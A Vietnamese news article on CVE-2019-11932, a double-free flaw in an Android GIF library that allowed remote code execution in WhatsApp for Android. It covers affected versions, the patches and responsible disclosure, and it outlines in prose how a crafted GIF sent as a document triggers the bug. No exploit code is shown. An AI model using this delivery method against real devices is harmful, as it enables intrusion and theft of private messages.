Ứng dụng WhatsApp (một ứng dụng nhắn tin đa nền tảng) gần đây đã vá một lỗ hổng bảo mật quan trọng trong ứng dụng dành cho Android, lô hổng này từ khi phát hiện vẫn chưa được vá sau 3 tháng, sau khi bị phát hiện và nếu bị khai thác, có thể cho phép tin tặc xâm nhập các thiết bị Android và có khả năng đánh cắp các tệp, tài nguyên trong máy, và nghiêm trọng hơn là các tin nhắn trò chuyện hoặc tài khoản của ứng dụng khác có trên máy nạn nhân.

WhatsApp Remote Code Execution Vulnerability

Lỗ hổng, được public với ID là CVE-2019-11932, là một lỗ hổng “double-free” , hiểu đơn giản là gọi hàm free 2 lần khi sử bộ nhớ động HEAP trong C. Lỗ hổng này không có trong mã nguồn của ứng dụng WhatsApp mà có trong thư viện mã nguồn mở mà WhatsApp sử dụng để xử lý ảnh.

Được phát hiện bởi nhà nghiên cứu bảo mật người Việt Nam Phạm Hồng Nhật vào tháng 5 năm nay, lỗ hổng này dẫn đến các cuộc tấn công thực thi mã từ xa (RCE), cho phép kẻ tấn công thực thi mã tùy ý trên các thiết bị di động có sử dụng WhatsApp.

“Payload (mã khai thác) được thực thi trong WhatsApp context. Do đó, nó có quyền đọc SDCard và truy cập cơ sở dữ liệu tin nhắn WhatsApp”, tác giả trả lời trong cuộc phỏng vấn với Thehackernews.

“Mã độc hại sẽ có tất cả các quyền mà WhatsApp có, bao gồm ghi âm, truy cập máy ảnh, truy cập hệ thống tệp, cũng như các tập tin sandbox của WhatsApp bao gồm cơ sở tin nhắn, các cuộc trò chuyện được bảo vệ bởi ứng dụng, v.v.

Lỗ hổng này hoạt động ra sao?

WhatsApp sử dụng thư viện phân tích cú pháp để tạo bản xem trước (preview) cho các tệp GIF khi người dùng mở thiết bị của họ trước khi gửi các tệp này cho bạn bè hay gia đình.

Vì vậy lỗ hổng này không được “kích hoạt” bằng cách gửi tệp GIF độc hại cho nạn nhân. Thay vào dó nó được kích hoạt khi nạn nhân chọn bộ thư viện WhatsApp Gallery Picker và gửi những tấm ảnh này cho người khác.

Bạn đọc có thể xem PoC tại đây:

Để khai thác lỗ hổng này, tất cả những gì kẻ tấn công cần làm là gửi tệp GIF độc hại được tạo thủ công (chèn mã độc) cho người dùng Android thông qua bất kỳ kênh trực tuyến và đợi người dùng mở thư viện hình ảnh trong WhatsApp.

Tuy nhiên, nếu kẻ tấn công muốn gửi tệp GIF cho nạn nhân thông qua bất kỳ nền tảng nhắn tin nào như WhatsApp hoặc Messenger, họ cần gửi tệp đó dưới dạng tệp tài liệu thay vì tệp đính kèm tệp phương tiện, vì khi nén hình ảnh được sử dụng bởi các dịch vụ này sẽ làm sai lệch mã độc hại ẩn trong hình ảnh .

Phiên bản ứng dụng tồn tại lỗ hổng, và các bản vá

Lỗ hổng này ảnh hưởng đến các phiên bản ứng dụng WhatsApp 2.19.230 và các phiên bản cũ hơn chạy trên hệ điều hành Android 8.1 và 9.0, không tồn tại với hệ điều hành Android 8.0 trở xuống.

“Trong các phiên bản Android cũ hơn, lỗ hổng “double-free” vẫn có thể được tác động. Tuy nhiên, do hàm malloc gọi bởi system sau khi gọi các hàm free, ứng dụng chỉ có thể bị khai thác khi tôi kiểm soát được các thanh ghi trên PC”, nhà nghiên cứu viết.

Tác giả Pham Hong Nhat nói với The Hacker News rằng anh ấy đã báo cáo lỗ hổng cho Facebook, người sở hữu WhatsApp, vào cuối tháng 7 năm nay và công ty đã phát triển một bản vá bảo mật trong phiên bản WhatsApp 2.19.244, được phát hành vào tháng 9.

Do đó, để bảo vệ thiết bị của mình trước mọi nguy cơ từ lỗ hổng này, bạn nên cập nhật WhatsApp lên phiên bản mới nhất từ ​​Cửa hàng Google Play càng sớm càng tốt.

Bên cạnh đó, do lỗ hổng nằm trong thư viện nguồn mở, nên cũng có thể bất kỳ ứng dụng Android nào khác sử dụng cùng thư viện bị ảnh hưởng cũng có thể dễ bị tấn công tương tự.Nhà phát triển thư viện GIF bị ảnh hưởng, đó là Android GIF Drawable, cũng đã phát hành phiên bản 1.2.18 của phần mềm để vá lỗ hổng “double-free” này.

WhatsApp cho iOS không bị ảnh hưởng bởi lỗ hổng này.

Chúng tôi sẽ có một bài phân tích kĩ thuật về lỗ hổng này, mời bạn đọc chú ý theo dõi và đón xem.

Nguồn: Thehackernews.com